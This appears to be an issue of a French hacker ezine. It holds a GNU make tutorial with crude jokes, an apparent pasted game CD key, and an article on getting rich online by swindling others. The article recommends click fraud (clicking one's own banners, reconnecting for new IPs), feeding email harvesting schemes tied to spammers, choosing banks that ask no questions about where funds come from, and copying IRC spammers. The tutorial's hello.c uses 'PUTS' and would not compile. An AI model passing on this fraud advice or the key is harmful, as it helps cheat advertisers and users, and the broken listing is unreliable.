|#| bash$

La ligne 5 affecte la valeur "Pear"  la macro OBJECT, mais l'affectation de la
ligne de  commande "OBJECT=apple"  est prioritaire.  On peut  donc dire  que la
commande make effectue d'abord toute les affectations de macros dans le fichier
make, puis celles ventuellement rencontres sur la ligne de commande.

  >> Utiliser les variables d'environnement
La commande  make peut  galement prendre  des valeurs  de l'environnement.  En
utilisant une nouvelle  fois le fichier  make du listing  (3.0), voyez si  vous
pouvez craser une macro avec une variable d'environnement exporte :

|#| bash$ OBJECT=walnut make
|#| One Pear
|#| Two Pears
|#| Three Pears
|#| bash$

C'est tonnant, ce  test semble ne  pas fonctionner, En  ralit, les variables
d'environnement n'crasent pas les affectations de macros d'un fichier make. Si
la  macro  OBJECT  n'avait  pas  t  dfinie  dans  notre  fichier  make,   la
substitution aurais t  effectue. Pour preuve,  mettez la ligne  5 du listing
(3.0) en commentaire et essayez de nouveau.

|#| bash$ OBJECT=walnut make
|#| One walnut
|#| Two walnuts
|#| Three walnuts
|#| bash$
`
Cette fois, aucune affectation de macro ne figurant dans le Makefile, la valeur
de la variable d'environnement OBJECT demeure et est utilise comme attendu.

 _= Listing (4.0) Makefile avec l'affectation de la macro mise en commentaire=_


|#| 1:   # Source: /home/acidmen/make/RCS/Makefile,v $
|#| 2:   # Revision: 1.3 $
|#| 3:
|#| 4:
|#| 5:   #OBJECT= Pear
|#| 6:
|#| 7:   All: one two three
|#| 8:
|#| 9:   one:
|#| 10:     @echo one $(OBJECT)
|#| 11:
|#| 12:  two:
|#| 13:     @echo Two $(OBJECT)s
|#| 14:
|#| 15:  three:
|#| 16:     @echo Three $(OBJECT)s
|#| 17:
|#| 18:  # End Makefile

 
 >> Utiliser le paramtre -e
Un paramtre  de make,  -e, permet   l'environnement  d'craser les  macros du
fichier make. Toutefois, utilisez-le prudemment, car l'environnement peut  tre
modifi bien plus que vous ne le pensez. En reprenant le fichier make d'origine
du listing vous pouvez tester cette rgle :

|#| bash$ OBJECT=walnut make
|#| One Pear
|#| Two Pears
|#| Three Pears
|#| bash$ OBJECT=walnut make -e
|#| One walnut
|#| Two walnuts
|#| Three walnuts
|#| bash$

       - Vous avez export la variable d'environnement OBJECT et excut la
         commande make, mais la variable OBJECT n'a aucun effet

       - Vous avez exportez la variable d'environnement OBJECT une nouvelle
         fois, mais excutez ici make avec le paramtre -e. Cette fois, la
         variable d'environnement OBJECT influence le rsultat.

            ++ Lorsque vous comptez sur des variables d'environnement dans un
               fichier make, assurez-vous qu'elles sont bien exportes de votre
               shell. Assurez-vous galement de bien comprendre ce que la
               commande d'exportation intgre effectue dans le shell bash.


 >> Les suffixe de fichiers
La  commande  make est  trs  largement dpendante  des  suffixes de  fichiers,
desquels elle dduit  le type du  fichier. Grce   des conventions, elle  peut
appliquer  des rgles  de dduction  par dfaut.  Avant d'tudier  ces  rgles,
regardons quelques suffixes connus de make, dans le tableau (1.0)

Tableau (1.0)

   - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   > Suffixe de fichier < | > Description                  <
   - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   ] .c                   | Module source en langage C     [
   ] .h                   | Fichier d'en-tte en lengage C [
   ] .cc                  | Module source en langage C++   [
   ] .o                   | Fichier objet compil          [
   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 


 >> Comprendre les rgles de dduction
La puissance de la commande make propose en partie sur ces rges de dductions.
Mais ceux-ci peuvent  tre une source  de frustration lorsqu'elles  ne sont pas
bien comprises.( exemple tir d'un fait vcue : essayer de sodomiser sa boite 
malle )
                =|
             /---|---
      8=====D|______|
                  ||
                  ||
                  || (c) Walt Disney
 
 > Tester les rgles de dduction par dfault
Ecrivez ce ptit programme - hello.c -

|#| 1:   #include <stdio.h>
|#| 2:   int main(int argc, char **argv) {
|#| 3:   
|#| 4:   	(void) argc;
|#| 5:   	(void) argv;
|#| 6:
|#| 7:  	PUTS("Hello World!");
|#| 8:		return 0;
|#| 9:   }


        /\   Pause publicitaire paye en nature par JoJo savard
       /  \     Qui vous dit :
     <      >                     1-800-Dit-moi-pas?
       \  /    "salut mes chouuuxx mieux ruiner c'est mieux que vaut l'astre
        \/     est dans la lune, la lune est dans le ciel suivez votre bonne
               toile."

                 hooo, un beau message d'espoir pour le temps des ftes ;)
                           mon coeur se contient plus.
                   ...
                   qqn est partant pour coder a ze power di-kRypt3rz 3000 for
                   j0j0 s4vardz?



Bon, une fois votre programme crit, testez ensuite les rgles de dductions
par dfault de make, comment indiqu dans le listing (4.5).

    _= Listing (4.5) Tester les rgles de dduction de hello.o de GNU make=_

|#| 1:   bash$ mkdir experiment
|#| 2:   bash$ cd experiment
|#| 3:   bash$ cp ../hello.c .
|#| 4:   bash$ >Makefile
|#| 5:   bash$ make hello.o
|#| 6:   cc -c hello.c -o hello.o
|#| 7:   bash$ type cc
|#| 8:   cc is /usr/bin/cc
|#| 9:   bash$ls -dl /usr/bin/cc
|#| 10:  lrwxrwxrwx  1  root   root  3 Dec 15 2002 /usr/bin/cc -> gcc
|#| 11:  bash$

Voici les tapes de ce test :

1. Vous crez un rpertoire dans lequel travailler ( ligne 1 )

2. Vous passez dans ce rpertoire ( ligne 2 )

3. Vous recopiez votre programme hello.c dans le rpertoire en cours (ligne 3).
   Remarquez que le rpertoire source de hello.c peut tre diffrent dans votre
   cas.

4. Vous crez un Makefile vide dans lequel make pourrat travailler ( ligne 4 ).

5. Vous invoquez make avec le Makefile vide dans le rpertoire en cours (ligne 5)
   Indiquez explicitement le nom de cible hello.o  make, car le Makefile ne
   contient aucune cible dfinie.

6. La commande make s'excute, montrant que sa rgle interne dduit que hello.c
   doit tre compil par un compilateur C pour produire hello.o ( ligne 6 ).

7. Vous demandez au shell d'o provient cc ( ligne 7 ). Le shell indique le nom
   du chemin  la ligne 8.

8. Vous invoquez la commande ls avec le paramtre -dl ( ligne 9 ) et dcouvrez
   que la commande cc est un lien symbolique vers la commande gcc ( ligne 10 ).

Indpendamment du fait que la rgle ne fournit pas les paramtres -D_GNU_SOURCE
et -Wall, tout se passe trs bien sans aucune aide de votre part. Ces rsultats
pouvant  tre  lgrement  diffrents  de  ceux  attendus,  vous  devez dfinir
explicitement une rgle correspondant  vos besoins.


 >> Dfinir une rgle de dduction
Le listing (5.0) prsente un fichier make de dmonstration contenant une rgle
de dduction.

      _= Listing (5.0) Une rgle de dduction de make =_

|#| 1:   CC = gcc
|#| 2:   STD = _GNU_SOURCE
|#| 3:   
|#| 4:   .c.o:
|#| 5:      $(CC) -c -Wall $(CFLAGS) -D$(STD) $< -o $@

La ligne 1 montre la faon conventionnelle de choisir votre compilateur dans un
fichier  make,  avec la  macro  CC. Ici,  la  macro pointe  directement  sur le
compilateur gcc. La ligne 2 dfinit la macro STD permettant de slectionner  le
standard sous lequel le compiler. La cible de la ligne 4 est d'un type spcial:
elle est compose du suffixe du fichier d'origine et de celui du fichier cible.
En dfinissant une cible sous cette forme, vous dfinissez en ralit une rgle
de dduction destine  make.
    

     ^
    / \
   /   \
  /  A  \ ttention ------------------------------------------------------------
 /_ _ _ _\
          
    /     Ne dfinissez jamais de dpendance pour une rgle de dduction. La
   /      commande make ignore les dpendances des rgles de dduction.  Sur 
  /__ _   certaines plates-formes UNIX, la rgle n'est pas interprte comme
          une rgle de dduction lorsque des dpendances sont indiques
          ---------------------------------------------------------------------


La ligne 4 dfinit une rgle  de dduction indiquant que si vous  dispoez d'une
cible constitue  d'un fichier  objet (*.o)  et constatez  que vous disposez du
fichier  d'entre  correspondant  avec   le  suffixe  .c,  vous   excutez  les
instructions qui suivent.

 >> Instruction  excuter
La ligne 5  du listing (5.0)  reprsente la seule  instruction  excuter.  Une
instruction doit commencer par un caractre de tabulation. Les espaces ici sont
interdites. Il peut y avoir plusieurs  actions, mais une  seule est ncessaire.
Notez galement que si la commande  de l'action commence par un caractre  "@",
make supprime l'affichage  de la commande  sur la sortie  standard. Vous l'avez
peut-tre remarqu aux lignes 5, 8 et 11 du listing (2.0)


                ____
|| |\ || ||=== | _  |
|| | \|| ||=   ||_| |
|| | \ | ||    |____|_ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ ______ _ _ _ _ _ _ _ __

Les lignes  d'action d'un  fichier make  doivent commencer  par une tabulation.
Certains diteurs insistent sur  l'utilisation des blancs lorsque  vous appuyez
sur la touche Tab. Vrifiez que le premier caratre est bien le caractre ASCII
de tabulation, sinon make ne l'accepte pas comme instruction  excuter.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- --  - -  -- -- 



La ligne 5 du listing (5.0) dcrit une instruction de compilation faisant grand
usage des macros. La plupart sont aisment comprhensibles.
Cela nous laisse deux macros d'aspect bizzare : "$<" et "$@".

  
 >>Les macros intgres
La commande make gre au moins six macros intgres. Celles-ci sont diffrentes
des macros  dfinies par  l'utilisateur, car  elles n'ont  jamais besoin d'tre
dfinies. Elles  sont gres  en interne  par la commande make  et leur  valeur
change en fonction des rgles de dduction.

Les plus importantes de ces macros sont prsentes au Tableau (2.0)

Tableau (2.0)

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 > Nom de macro       < | > Description                                      <
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 ] $*                   | Cette macro fournit l'lment nom de fichier du    [
 ]                      | dpendant actuel ( le suffixe tant supprimer      [
 ]                      |                                                    [
 ] $@                   | Cette macro fournit le nom complet, avec le        [
 ]                      | suffixe de la cible actuelle.                      [
 ]                      |                                                    [
 ] $<                   | Cette macro fournit le nom de fichier dpendant    [
 ]                      | complet, avec le suffixe.                          [
 ]                      |                                                    [
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Dans la session  tudie au listning  (4.5), la ligne  5 dsigne hello.o  comme
cible, Dans  la rgle  de dduction  des lignes  5 et  6 du  listing (5.0), les
valeurs du Tableau (3.0) ci-dessous devraient tre indiques.

Tableau (3.0)

   - - - - - - - - - - - - - - - - - - - - - - - - 
   > Nom de macro       < | > valeur de la macro <
   - - - - - - - - - - - - - - - - - - - - - - - - 
   ] $*                   | "hello"              [
   ] $@                   | "hello.o"            [
   ] $<                   | "hello.c"            [
   - - - - - - - - - - - - - - - - - - - - - - - -


Souvez-vous que ces  macros intgres ne  possdent de valeur  qu' l'intrieur
d'une rgle  de dduction.  La macro  $< comporte  une petite  exception, et au
moins deux autre macros intgres ont d'autres usages.


 >> La macro CFLAGS
La macro CFLAGS est utilise  pour contenir d'autres paramtres du  compilateur
C.  Si elle   n'est  pas   dfinie  dans   le  fichier   make,  vous   avez  la
possibilit d'initialiser  une variable  d'environnement  pour  la session  dec
compilation en cours.

  > Utiliser CFLAGS  partir du shell
Une habitude courante consiste  utiliser  la macro CFLAGS pour effectuer (  ou
non ) une compilation en mode dbogage. Notez le droulement de cette procdure
dans cette exemple :

|#|   bash$ rm hello.o
|#|   export CFLAGS=-g
|#|   bash$ make hello.o
|#|   gcc -c -Wall -g -D_GNU_SOURCE hello.c -o hello.o
|#|   bash$

Voici la procdure utilise ici :

1. Vous prenez soin de vous dbarrasser du dernier hello.o cr ( sinon, make ne
   se sentira pas oblig de le recrer )

2. Vous dfinissez et exportez la variable d'environnement CFLAGS avec le 
   paramtre de mise au point de gcc -g.

3. A partir de maintenant, lorsque vous compilez, la commande make prend
   automatiquement la valeur exporte de CFLAGS et l'applique  la ligne de
   commande ( Remarquez que le paramtre -g apparat dans la commande gcc ).

On peut utiliser la mme technique pour recompiler afin d'optimiser au lieu  de
dboguer. Ce petit truc s'avre  particulirement utile lorsque le Makefile  se
trouve contrl par un RCS ; il n'est pas ncessaire de le modifier.

Joyeux nol : ut2k3 : lyr22-rz743-a9d7t-cnnen :



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                acidmen@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




  < Mindkind tales from IRC >

  [16:55] <Wyzeman> jpeu tu hypotequer mes futur par de mindkind ?
  [16:55] <LastCall_> hahaha
  [16:56] <LastCall_> le gars fini par crire un livre
  [16:56] <LastCall_> "J'ai bas ma vie sur un ezine et un channel IRC"
  [16:56] <LastCall_> par Wyzeman de Mindkind
  [16:56] <LastCall_> pendant ce temps ya
  [16:56] <Wyzeman> LastCall_ __2 a bien reussi sa vie a cause de iga
  [16:56] <Wyzeman> sa job qui a la, il la eu a cause de iga
  [16:56] <LastCall_> "Comment je suis devenu millionaire en patentant le code open source et/ou GPL"
  [16:56] <Wyzeman> moi jai eu un hub 3com
  [16:56] <LastCall_> par LastCall_
  [16:56] <LastCall_> et
  [16:56] <Wyzeman> hahaha
  [16:57] <LastCall_> "Comment je suis devenu milionaire en crossant LastCall_ "
  [16:57] <LastCall_> par MindFlayR
  [16:57] <LastCall_> haha
  [16:57] <Wyzeman> hahaha
  [16:57] <LastCall_> hahaha

  < ----------------------- >



                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.03 L'extrmit de l'Arc-en-ciel.com                 \        \     !
     .             aka                                         \        \    .
     ;       40 PKP en show dans un trou de terre               \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Pour plusieurs  raisons j'aimerais  faire une  petite intro   cet article tout
d'abord parce que  j'ai moi mme  hsit 2 ans  pour l'crire car  on parle ici
d'un secret bien gard et aussi parce  que ceux qui le connaisse ne seront  pas
forcment trs heureux que je dvoile  tout les petits dtails du mtier.  Bien
sur je ne divulguerai  pas ma/mes techniques parce  que se serait   la fois me
priver d'un  revenu potentiel  mais aussi  une porte  d'entre aux abuseurs qui
pourrait ruiner cet art.


Table des matires :
--------------------

1: Vritable intro
2: Thorique (philosophie/buts/esprances)
3: La banque (Choisir/expriences/retour)
4: Les commanditaires (WTF?/?/!/Retour)
5: Stratgies (Actif-Passif/pi0n/emprunt) 
6: Optimisation (Linux)
7: Les dceptions du mtier
8: Liens utiles (Commanditaire/TGP)
9: Conclusion.

---------------------------------------------------------------------

1- Vritable introduction

Je voulais crire un article sur un truc technique de la mort du genre  comment
overclocker un VAX avec du vieux cheeze-weeze mais j'ai du me rsigner  crire
premirement  sur quelque  chose que  je connais  plus que  tout,  c'est--dire
comment escroquer les autres.

Ont peut dire que j'ai une grande exprience de l'enrichissement personnel  sur
Internet, jai dbut avec xpics, premier sponsor vraiment payant ou on  pouvait
faire le motton en cliquant sur nos bannires nous mme et en dconnectant pour
avoir  un  nouveau IP.  Ensuite  il y  a  eu les  "Pay  to surf"  gotoworld  et
alladvantage  qui nous  promettaient fortune  et gloire  si l'ont  parvenait  
ramasser  un  max de  "referals"  comme dans  une  grosse pyramide  pyramidale!
(hehe). Ensuite il y eu les  script de bannerclick sur eFnet avec  lesquels ont
arrivait a se gnrer  un beau butin en  peu de temps. Cette  poque ft suivie
d'une lgre aventure du cot de la P0rn buisness que jai finalement  abandonn
par manque de temps.  

Mais maintenant, qu'est-ce qui me reste ? .. c'est un secret :)). Cet article a
pour but de vous enseigner l'art de concevoir vos propres magouilles et de  les
optimiser lgalement et  efficacement de faons   pouvoir vous  aussi profiter
rapidement de plein d'argent mal acquit.

Secret?.. oui! Malheureusement je ne suis pas sur le point de mettre fin   mes
activits dans  ce domaine  et comme  vous donner  mes trucs  conduirait   une
rduction potentielle de mon revenu je rpte encore que vous ne trouverez  ici
que la mthode permettant de dvelopper soi-mme sa stratgie. 

Si par erreur vous tentez de me  poser des questions sur ce sujet, je rpondrai
par un silence. Soyez content de cet  article et n'en demandez pas plus car  on
parle ici de vrai argent et de connaissances qui sont trs utiles montairement
parlant.  


2- Thorique

- Un peu de philosophie

Se lancer  dans le  monde de  l'enrichissement personnel  sur Internet  est une
longue  et  fastidieuse aventure  qui  vous amnera    faire plusieurs  choix,
premirement sur votre thique personnelle car quelqu'un qui s'y met vraiment a
fond peut rcolter de faramineuses sommes  et se payer une ferrari mais  a quel
prix ?  Vous avez  srement dj  mis quelques  plaintes   la rception  d'un
courriel non sollicit. Si vous voyez ce que je veux dire...  (j'y reviendrai) 

Vous aurez aussi plusieurs compromis  effectuer, utiliserez vous une technique
totalement  lgale?,  semi-lgale?,  lgale    l'tranger  (hide  and   pray),
compltement illgale? ($$$), Vous aurez  aussi des compromis  faire  du genre
le profit vis  vis  vos ressources. Plusieurs techniques ncessitent  beaucoup
de bande passante et d'argent. Ce qui peut s'avrer rentable ne le demeure  pas
toujours. 

- Quoi viser?

Premirement vous devez  tablir votre stratgie,  trouver l'ide premire,  LA
stratgie qui vous rapportera de l'argent, il vous faudra ensuite vous  trouver
quelqu'un qui vous payera, vous devrez  aussi faire affaire avec une banque  et
tenter  d'optimiser  au maximum  votre  mthode de  faon   atteindre  le  but
ultime... l'effort 0. 

- $$$$?

Je  me rend  compte que  si vous  tes rendu   lire  ici c'est  que vous  tes
particulirement  intress,  mais  au  point de  finir  la  lecture?  Le cyber
-entrepreneur moyen,  qui fait  sa business  sur Internet  dans, par exemple le
monde de la  pornographie reoit un  salaire annuel d'environ  160K USD/ans. On
parle ici d'une business  temps plein.  Le petit escroc que je suis, avec  une
stratgie  d'effort  0 peaufine  peut  facilement rcolter  ~700$USD  par mois
(1292.72$CAD). Et ce je vous rappelle en ne faisant aucun effort.  


3- Passez GO et recevez l'argent de la banque.

- L'importance de choisir
      
Comme  vous vous  en doutez  srement la  majorit des  fonds que  vous  pouvez
esprer rcolter est  en devises trangres  donc il vous  faudra faire affaire
avec une banque. Mais laquelle choisir  ? celle avec un service rapide  ? celle
avec un gros transit ? celle qui posera le moins de questions?

Parmi les banques du  Qubec, j'ai fait affaire  avec deux des principales,  La
banque royale et Desjardins. Oui oui je sais que Desjardins est une caisse mais
pour la cause nous l'insreront dans la classe des banques aussi car croyez moi
elle a  beaucoup plus  de points  communs que  de diffrences  avec les  autres
banques. 

      - La banque royale
            - Transit de base      : 100$
            - Frais aux transactions: 0.25$ (ou illimit 4$/mois)
            - Gel de fonds            : 5 jours ouvrables
            - Autre             :
                  La banque royale dispose de plus de budget que
                  Desjardins et pour cette raison il y a plus 
                  d'heures d'ouvertures et moins d'attente.
                   noter que leurs employs ne posent jamais de
                  questions indiscrtes.

      - Desjardins
            - Transit de base      : 500$
            - Frais aux transactions: 0.25$ (ou forfaitaire)
            - Gel de fond !!      : 20 jours ouvrables
            - Autre                  :
                  Desjardins possde le pire service qu'un client
                  peut esprer, de longues filles d'attente, une
                  dure de gel de fond sur les capitaux trangers
                  trop longues et en plus des employs qui posent
                  des questions indiscrtes sur la provenance de
                  vos fonds. 

Pour changer  de la  monnaie trangre  je vous  suggre d'aller   la  banque
royale, bien que le  transit ne soit que  de 100$ vous n'aurez  qu'a attendre 5
jours ouvrables  (soit une  semaine) pour  encaisser le  tout. Petite  note sur
Desjardins : si vous voulez effectuer un prt personnel je vous suggre d'aller
les voir car ils ont  de trs bon plans pour  les tudiants  compar   Royale
qui voudrons vous vendre une visa. 

- Return(0);

Il existe plusieurs autres banques mais je ne les ai pas toutes  exprimentes.
De toutes  faon ce  qu'il est  important de  se rappeler  c'est de ce que vous
aurez  vraiment  besoin,  en  l'occurrence  des  services  privs  rapides   et
avantageux sur les conditions de rception  de l'argent, car vous ne devez  pas
oublier ceci : contrairement aux chques habituels si vous dposez un chque de
devise trangre  dans un  guichet automatique,  vous seriez  mieux d'avoir  le
temps parce que le temps de traitement est presque tripl. 


4- Les commanditaires

- WTF?

Vous voici rendu  l'tape o  vous choisissez votre machine  sous.  Quelqu'un
devra vous  payer, mais  qui?. Il  existe des  centaines de  commanditaires sur
Internet et une trs grande majorits feront faillite demain matin pour laisser
leur place  d'autres. Il ne faut surtout pas oublier que dans ce mtier si  le
"patron" ne vous paye pas vous ne pouvez pratiquement RIEN CONTRE LUI. Si  vous
ne choisissez pas un bon commanditaire vous avez toutes les chances du monde de
pleurer dans 3 mois quand vous ne recevrez pas votre chque. 

-!
      Mais quoi valuer pendant son choix ?

Premirement les programmes, la plupart des commanditaires offrent une gamme de
programmes du  genre Pay-per-click,  pay-per-impression pay-per-email,  pay-per
-signup,  pay-per-(ETC...).  Presque   tout  ces  programmes   contiennent  une
"attrape". Par exemple un commanditaire peut vous donner 0.25$ du click sur une
bannire mais avoir un ratio de conversion. Ce ratio c'est ce qui calcule votre
nombre de  click versus  les inscriptions  au site  gnr par  votre lien. Par
exemple  si  vous  avez 50$  en  click  et 2  inscriptions  lgales  vous aurez
probablement un ratio de 1:1 ce qui maintiendra votre pay-rate  0.25$. Mais si
vous avez  50$ et  0 inscription  votre ratio  sera tellement  bas que  vous ne
gagnerez  probablement plus  que 0.003$  par click  voir mme  vous vous  ferez
mettre  la cyber-porte.  

Pay per signup est gnralement trs  payant ~50$ de l'abonnement mais un  site
qui fonctionne au "signups" est gnralement beaucoup trop dur  maintenir pour
un tudiant. En effet,  un site qui fait  son argent avec de  vrais abonnements
devra avoir du  bon matriel toujours  renouvel pour que  les clients affluent
car ils doivent payer si vous voulez vous enrichir. 

Le gros  programme facile  de nos  jours (et  je vous  ment pas)  c'est pay per
email. Le  "client" entre  son email  pour recevoir  des "free  pictures" et se
ramasse avec 25mo de e-mail de  junk a chaque jour. Les compagnies  qui offrent
ce genre de programme  peuvent payer jusqu'a 1$USD  par e-mail valid que  vous
leur donnez. Mais comment font-il pour  payer ? Premirement ils sont pay  par
les contenu des e-mail de  junk qu'ils envoient. Certains "promoteur"  achtent
des espaces d'affichage dans les e-mail de "free pics". Mais ce n'est pas tout,
les compagnies revendent aussi leur  listes aux spammers ce qui  leur procurent
un bon  second revenu.  De toute  faon, cela  ne nous  intresse pas vraiment,
retenez  seulement  que  c'est  le  meilleur  programme  disponible,  payant et
versatile. 

- Return(0);

Retenez  aussi  que  peu  importe  le  nouveau  programme  disponible  ont peut
facilement trouver sa valeur de  rentabilit avec une semaine d'essaie.  Prenez
votre technique prouve favorite et soumettez la  votre commanditaire si  vos
profits baissent  trop ou  que votre  effort   fournir devient trop important,
foutez  le programme   la  poubelle ou  optimiser le  tout pour  que  l'effort
retourne  0 (voir optimisation). 


5- Axis And Allies (AAA)
      
Alors l'ado, tu es en recherche de 'LA' faon de t'enrichir !? Heh bien j'ai la
solution   tes problmes  !!! Ou  plutt, l'explication  de la  solution a tes
problmes. 


- Stratgie Active ou Stratgie Passive

Bien que vous soyez encore trs peu renseign sur les dfrentes stratgies que
tout le monde utilise et qui donne un revenu assez moyen, j'aimerais, avant  de
vous  introduire   ces stratgies  de base,  porter un  peu le  focus  sur  la
signification de stratgie active et celle de stratgie passive. 
      
      -Active:
            Dsigne une stratgie o l'entrepreneur doit constamment
            fournir un effort pour maintenir et garder en vie
            sa petite entreprise. Cette stratgie donne gnralement
            un plus gros revenu mais demande trop de temps. Je
            vous conseille fortement de ne jamais vous diriger
            vers un tel model.

      -Passive:
            C'est ce que vous recherchez, le moins d'effort possible
            pour un revenu optimal. (Voir optimisation) 


- Le pion ?

Maintenant que vous en  savez plus sur les  commanditaires, vous vous devez  de
les  fournir  de "pions"  pour  qu' leur  tour  il vous  fournissent  de beaux
dollars. En fait, c'est ce qu'il y a de plus dur  faire dans ce mtier, amener
des foules de personnes ~40k  (toujours dans l'optique d'une stratgie  lgale)
sur vos sites pour agir de machine  sous. 

Admettons que vous possdez un site  web et que vous voulez y  ramener, disons,
30 000 personnes demain  matin. Est-ce possible ?..  .. oui! il faut  seulement
savoir comment s'y prendre. Il est vident que le type de site influe  beaucoup
:0}. 

Pour  cet  exemple nous  allons  prendre un  site  web standard  contenant  une
commandite par email  et 10 photos  d'une 'strip /dev/girl'.  Ce genre de  site
s'appelle  un  site  de  "thumbnails"  il  est  gnralement  utilis  par  les
propritaires de  site webs  pour promouvoir  leur propre  site. Par exemple le
site A  produit 40  mini pages  de thumbnails  et place  sur chacune  d'eux une
bannire qui est directement li  son propre site. Ce qui redirige a coup  sr
les pions sur le site principal. 

Ces "thumbnails" site sont souvent posts dans des rpertoires gratuits o tout
les  pions  peuvent   consulter    chaque   jour  plusieurs  sites   du  genre
gratuitement.  (voir  rfrences   la  fin). La  question   se  poser  est la
suivante :"Si je ne  suis pas un gros  site budget, puis-je moi  aussi poster?"
Oui ! et croyez moi, sa rapport beaucoup de visites. 

L'ide est simple, vous  crer 30 pages diffrentes  et vous en postez  une par
jour. Les revenus viendront rapidement.  C'est d'ailleurs la stratgie la  plus
simple et  elle est  trs bien  connue de  tout le  monde. Elle  l'avantage de
ramener lgalement  les pions   votre  site mais  le dsavantage  de consommer
beaucoup de bande passante. 

Une autre stratgie qui se lie bien avec celle des TGP consiste  changer  des
liens  "linkexchange"  c'est--dire  que vous  allez  placer  une bannire  par
exemple sur un site  et cette bannire sera  lie a un autre  site de quelqu'un
comme  vous.  Plus votre  site  gnre de  click  plus votre  site  est affich
ailleurs donc vous tes plus visit et tout le monde est content. 

Bien sur ces  stratgies ne sont  pas trs optimales  et demande trop  de temps
pour atteindre l'objectif  effort 0 sans  pour autan empcher  une optimisation
adquate qui  vous permettra  peut-tre, si  vous tes  intelligent, un gros 10
minutes de maintenance par jour. 

Si vous cherchez dsesprment une stratgie illgale pensez a copier ceux  qui
en ont dja une. Par exemple les personnes qui spam "hello im virginia visit my
web site"  sur irc  ont srement  un bon  revenu sinon  ils ne le feraient tout
simplement pas. 


-6 Optimisation

Linux...  le  meilleur ami  de  l'entrepreneur web,  vritable  robot culinaire
automatis et indpendant. Linux est la clef du succs d'une bonne optimisation
de stratgie passive  car il permet  avec de bonnes  connaissances en scripting
d'automatiser 100% des fastidieux processus exigs par le mtier. 

Par  exemple,  quelqu'un  d'intelligent  pourrait  reprendre  la  bonne vieille
technique  du  TGP  (thumbnails)  et  l'automatiser  en  entier,  ou   presque.
L'ordinateur prend les photos dans  un rpertoire, cre des thumbnails,  gnre
le fichier html et upload le tout.  Il envoie ensuite une demande de post  pour
ce mme site avec un message random  prit dans une mini-db de message du  genre
"hello, take my daily pics" et il soumet la requte a l'administrateur du site.
il  vrifie ensuite  combien d'argent  votre commanditaire  vous doit  et  vous
gnre un .html  qui s'inclut automatiquement  dans votre page  de dmarrage de
votre browser favori. 

Linux peut tout automatiser ce que l'utilisateur peut faire il s'agit seulement
se  savoir comment  lui dire,  pour de  plus amples  informations sur  le  bash
scripting avanc j'ai fourni un lien trs complet sur le sujet dans la  section
"liens utiles".

N'oubliez jamais qu'il vaut mieux passer  2 jours  scripter un robot  qui fait
votre travail que de faire ce mme travail  tout les jours. 


-7 Les dceptions du mtier.

Malheureusement, ce mtier ne comporte pas que des avantages dans ce monde tout
les acteurs sont la  pour s'enrichir et ils  ne sont pas toujours  "fair-play".
Par exemple il peut vous arriver  (et a m'est arriv souvent) de  gnrer 200$
par semaine pendant  un mois et  ne pas me  faire payer du  tout, c'est un  des
risques mais il  ne faut pas  plier. La meilleure  faon d'viter une  fcheuse
situation comme  sa c'est  probablement de  commencer par  de petits  montants.
Limitez vos gains   50$ par  semaine et vrifiez  si votre commanditaire  vous
paye. Ensuite augmentez.

Si  vous utilisez  une stratgie  plus illgale  vous pouvez  aussi  avoir  des
problmes avec la justice. La  plupart des commanditaires ne vous  poursuivront
pas s'il vous attrape  tricher. Il se contenteront d'annuler votre acompte  et
de bannir votre adresse. Mais si  vous utilisez des mthodes drivs pour  vous
abreuver de pions,  faites bien attention  que les gros  bonnets ne s'intresse
pas trop  vous. J'ai  un ami qui en est   sa huitime mise en  demeure par le
MPAA et par Microsoft.

Si  vous  tes prit  dans  une situation  du  genre, ne  paniquez  surtout pas.
Remdiez  la situation et continuez vos activits. Soyez seulement prudent  de
ne pas pousser la "vis" trop loin.
      

-8 Liens utiles :

      YnotMasters: 
      http://www.ynotmasters.com/
      Un site de ressource pour les webmaster de pages payante. 
      C'est un des meilleur endroits sur le web pour vous trouver 
      un commanditaire fiable. Ils ont un systme de "ranking" 
      pour les commanditaires.
      
      The Hun
      http://www.thehun.net/
      Un TGP visit par plusieurs millions de personnes par jours.

      Amp Land
      http://www.ampland.com/
      Un autre TGP trs connu.

      Advanced Bash Scripting.
      http://www.tldp.org/LDP/abs/html/index.html
      LA rfrence en bash scripting avanc. vous ne trouverez 
      pas mieux c'est garanti.


-9 Conclusion
      
Voila, vous avez maintenant  les bases requises   un bon dpart dans  ce monde
lucratif. Bien  sur j'aurais  pu vous  donner des  stratgies illgales mais je
prfre les garder pour  moi. Parce que je  ne suis pas vraiment  convaincu que
les divulguer serait une trs bonne  ide en regard de mon revenu.  Peu importe
ce que vous ferez, gardez toujours en tte une optimisation adquate pour faire
le moins d'effort possible. Comme a vous pourrez passez plus de temps   faire
autre chose de plus constructif pour l'humanit comme jouer  Counter-Strike ou
convaincre des gens avec des QI de singes sur IRC que vous tes dieu rincarn.



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /               initnull@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





  < Mindkind tales from IRC >
  
  [14:43] <init_jobe> [14:13] *** [FunkY] has joined #mindkind
  [14:43] <init_jobe> [14:15] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider)
  [14:43] <init_jobe> [14:20] *** [FunkY] has joined #mindkind
